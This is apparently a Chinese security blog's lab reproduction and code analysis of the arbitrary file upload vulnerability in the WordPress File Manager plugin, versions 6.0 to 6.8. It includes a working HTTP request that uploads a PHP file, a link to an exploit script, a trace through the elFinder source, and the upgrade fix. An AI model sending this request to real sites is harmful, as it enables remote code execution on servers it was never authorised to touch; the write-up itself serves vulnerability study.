WordPress插件File-Manager任意文件上传复现

2020年10月6日 222点热度 0人点赞 0条评论


上方蓝色字体关注我们,一起学安全!
作者:daxi0ng&水木逸轩@Timeline Sec
本文字数:3591
阅读时长:10~12min
声明:请勿用作违法用途,否则后果自负


0x01 简介

WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把WordPress当作一个内容管理系统(CMS)来使用。


文件管理器允许您直接从WordPress后端编辑,删除,上载,下载,压缩,复制和粘贴文件和文件夹。不必费心使用FTP来管理文件和从一个位置移动文件。有史以来功能最强大,最灵活,最简单的WordPress文件管理解决方案!


图片


0x02 漏洞概述

安全人员进行调查时,很快发现WordPress插件WPFileManager中存在一个严重的0day安全漏洞,攻击者可以在安装了此插件的任何WordPress网站上任意上传文件并远程执行代码。

攻击者可能会做任何他们选择采取的行动–窃取私人数据,破坏站点或使用该网站对其他站点或基础结构进行进一步的攻击。

0x03 影响版本

File Manager 6.0-6.8

0x04 环境搭建

Wordpress5.4.1下载地址

https://cn.wordpress.org/wordpress-5.4.1-zh_CN.tar.gz


wp-file-manager6.0下载地址:

公众号内回复“wordpress插件”


用phpstudy搭建WordPress,安装插件

图片

0x05 漏洞复现

POC:

POST /wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

Content-Type: multipart/form-data; boundary=---------------------------402078532114344024151352374707

Content-Length: 465

Origin: http://127.0.0.1

Connection: close

Cookie: PHPSESSID=184sec57d1sltqv23haagn3574;

 

-----------------------------402078532114344024151352374707

Content-Disposition: form-data; name="upload[0]"; filename="1.php"

Content-Type: image/jpeg

 

 

123213123

-----------------------------402078532114344024151352374707

Content-Disposition: form-data; name="cmd"

 

upload

-----------------------------402078532114344024151352374707

Content-Disposition: form-data; name="target"

 

l1_Lw==

-----------------------------402078532114344024151352374707--


图片


访问
/wordpress/wp-content/plugins/wp-file-manager/lib/files/1.php

图片

EXP脚本:

https://github.com/xDro1d/wp-file-manager

图片


0x06 漏洞分析

修改数据包中target的值,发送POC出现错误,返回以下情况:

图片

图片


对比这三个POC,唯一的不同之处在于一个target之后是”l1_Lw==”,一个之后是”11_Lw==”,还有一个之后是”t1_Lw==”那么问题究竟出在了哪里?

首先数据包最早由connector.minimal.php接收,接收到数据包中的各个参数,这里走了一些弯路,但还是应该写出来

图片


之后connector.minimal.php文件开始执行,首先判断“./vendor/autoload.php”是否可读,如果可读包含“./autoload.php”,执行autoload.php文件

图片


看下autoload.php文件的代码,首先给“ELFINDER_PHP_ROOT_PATH”赋值为当前文件绝对地址

图片

图片


接着执行autoload.php文件最后的if判断

图片


判断php的版本,如果版本再5.3之上,那么执行,补充知识点:

spl_autoload_register 是一个实现自动加载类的函数,自动加载类就是我们在new一个class的时候,不需要手动去写require来导入这个class.php文件,程序自动帮我们加载导入进来,而传入spl_autoload_register加载类函数的参数为将要new的类名

此时返回connector.minimal.php,elFinder

图片


静态引用类将elFinder的$netDrivers数组初始化,将’FTP’赋值给’ftp’,接着往下执行

图片


elFinder未被引入到当前文件,那么开始执行autoload.php的elFinderAutoloader方法,因为要实例化elFinder类,所以传入elFinderAutoloader的值为elFinder

图片


接着走,$map自不用去看,都是人家写好的

图片


首先$name,在数组$map中是存在的,那么include_once这个name所对应的类名,这里是elFinder,然后是newelFinder,自然是要先执行它的构造函数,给该对象的构造函数传入的参数为connector.minimal.php的$opts数组

图片

图片

接着看elFinder的构造函数

图片

图片

现将默认的编码集设置为UTF-8,然后定义服务器命令接收的各种常量

图片

此处省略位运算,只需要知道最后$errLevel的值为32266就行,接着给全局变量加入数组键“elFinderTempFps”,“elFinderTempFiles”,值都为空数组

图片

图片

接着$_SERVER[‘PATH_INFO’]为空,直接将这个对象的引用给了elFinder类的$instance变量

图片

接着debug经过$opt中的值判断为false,检测”elFinderSessionInterface”接口是否已经被定义,如果定义,将这个php文件包含到文件中

图片

将这个文件包含到文件中之后判断$opts的数组中session是否存在,然而$opts数组中并没有session键

图片


执行else,else给$sessionOpts进行赋值,接着判断elFinderSession是否被引入,如果没有将它包含进来,然后初始化一个elFinderSession对象,elFinder对象的session引用这个对象

既然newelFinderSession那就要执行它的构造方法

图片


看下此时$opts参数的值:

图片


接着$this->session->start()方法执行

图片

图片

图片

start方法用于设置自定义错误处理函数,之后进入下一个if判断语句

图片

$fixCookieRegist的值为false,之后PHP_VERSION使用的是5.4以上版本

关于session_status的解释:

PHP_SESSION_DISABLED 会话是被禁用的

PHP_SESSION_NONE 会话是启用的,但不存在当前会话

PHP_SESSION_ACTIVE 会话是启用的,而且存在当前会话

看这代码的意思就是开启一个新的会话,给定Session ID值

图片

if还没完了,挨个看吧

给$sessionUseCmds赋值,判断$opts[‘sessionUseCmds’]是否存在,是否是数组,如果满足,将两个数组合并为一个数组。

之后直接跳过判断HTTP_X_ELFINDER_VOLUMESCNTSTART的if语句,因为不存在。

图片

图片

执行utime方法,返回值给了time变量,剩下的一大堆也说不了,如果用了就用的时候说,于是重新捋思路,直接从elFinderConnector构造方法完毕之后的run方法开始(我才知道为什么之前分析的大哥不直接跟进elFinder的初始化,因为东西真的太多了)

图片

跟进run

图片

首先判断是否是POST方法传入数据,接着合并数组至$src

图片

$maxInuptVars = null,而$src本身存在,所以直接跳过大段的if语句,直接到

图片

给全局变量赋值这里,$_REQUEST的值变为

图片

图片

接着直接看第一个if语句,不会执行,因为$src没有targets参数

第二个if语句判断json_encode方法是否可用,在之后看flFinder->loaded方法,这里返回true,又跳出这个if语句

图片

$cmd肯定存在值,$ifPost为true,所以不执行该if语句中的内容

图片


此处的$cmd为upload

图片

图片


此处判断elFinder类中是否有upload方法,结果是有的

图片


所以if语句又不会执行,看之后的foreach

图片


首先commandArgsList方法跟进

图片


这里着重看下commands数组中upload元素的内容,由$list引用

图片

'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false)

也是个数组,在之后将$list的reqid元素设置为false,然后返回$list

$list第一键值肯定不是FILES,所以跳过第一个if语句,而第一个target又存在于$src数组中

图片

将target的值给了$arg,再移除$arg的空白字符和其他预定义字符

图片

之后将$arg放入$args的数组中,键名为target,然后第二次foreach循环开始

第二个$list的元素肯定是FILES了,且FILES=true,于是执行第一个if语句

图片

$hasFiles=true

这两个循环之后就没有什么可说的了,将每个$list的元素写入到$args中,只是值为false的变成了‘’

图片

$args中debug元素是存在的,所以debug元素的值被设置为false

然后看elFinderConnector的input_filter方法

图片

因为这里的php版本大于5.4所以$magic_quotes_gpc的值为false,$args肯定是数组,然后使用这个if语句之后对每个元素进行字符过滤

图片

再之后对将上传文件的信息给了$args数组中的FILES元素,接着执行elFinder对象的exec函数

图片

在exec函数中判断完session以及是否可以进行上传操作之后开始判断

图片

图片

将$args中target元素的值给了$dst,将$dst作为参数传递给volume函数

图片

此时volumes中有两个键,到此处可以发现POC中上传文件的target元素的值只能以l1或者t1开头

图片

这里传入的$hash为l1_Lw==,然后搜索开始空字符出现的位置是否为0,如果是返回相应的volumes的元素信息

图片

接着$result为null,$args['sessionCloseEarlier']被设置为true,之后的一些判断都能看懂(有注释的),一直到判断$result的类型这里

图片

图片

图片

$result在1131行被设置为null,所以跟进$cmd进入到upload方法

图片

调用volume方法,返回$volume,这个方法解释可以参照上面说的volumes数组内容

图片

接着$files,$header等一系列变量对文件上传的设置进行初始化或者得到上传文件的具体信息,那么从这里看上传文件的参数具体信息

图片

图片

通过POST获得$src,通过$src获得$cmd的值,通过$cmd,调用upload函数,而upload函数又从上传文件的信息中提取filename等信息。

接着一路跟进到程序的3314行

图片

此时看一眼传入的$files信息

图片

图片

可以看到$files的error为0,所以第一个if直接跳过,接着获取到文件的临时文件名,$paths获取到文件路径为$target的值

图片

接着看changeDst被设置为false,因为第一个if循环中的值都存在,所以将$changeDst设置为true,之后进入foreach循环

图片

直接跟进到3433行代码处,此时的$_target已经是$target的值

图片

图片

直接跟进upload方法(elFinderVolumeDriver类)

首先是commandDisabled判断是否允许上传功能

图片

结果是有的,接着调用dir方法,将$hash(target)的值传入,再跟进file方法

图片

图片

发现file函数中有一个decode方法,跟进

图片

decode函数首先判断$hash是以l1_开头,还是以t1_开头,接着对l1_之后的部分进行base64解码,跟进uncrypt

图片

返回$h的值,跟进abspathCE发现返回了一个绝对路径值

图片

图片

之后这个值返回到stat方法中

图片

stat方法最后返回$ret的值如下:

图片

这个值最后给了$file,返回给file方法

图片

图片

file方法又返回给dir方法,接着跟进,跟进到mimetype获取上传文件的上传类型

图片

图片

图片

图片

图片

之后计算临时文件大小,在根据文件名决定写入的绝对路径

图片

接着跟进joinPathCE

图片

图片

图片

这里返回将要写入文件的绝对路径,并接着调用isNameExits,查看文件名是否已存在,如果存在返回详细信息,在之后进行覆盖写入,接着跟进saveSE方法

图片

图片

跟进_save方法

图片

跟进_joinPath方法

图片

最后使用copy方法写入文件内容

图片

至此,分析完成,漏洞简单的方法调用过程如下图所示。

图片


0x07 修复方式

将File Manager插件升级到6.9版本

参考链接:

https://www.anquanke.com/post/id/216990

图片
图片
阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行

25870WordPress插件File-Manager任意文件上传复现

root

这个人很懒,什么都没留下

文章评论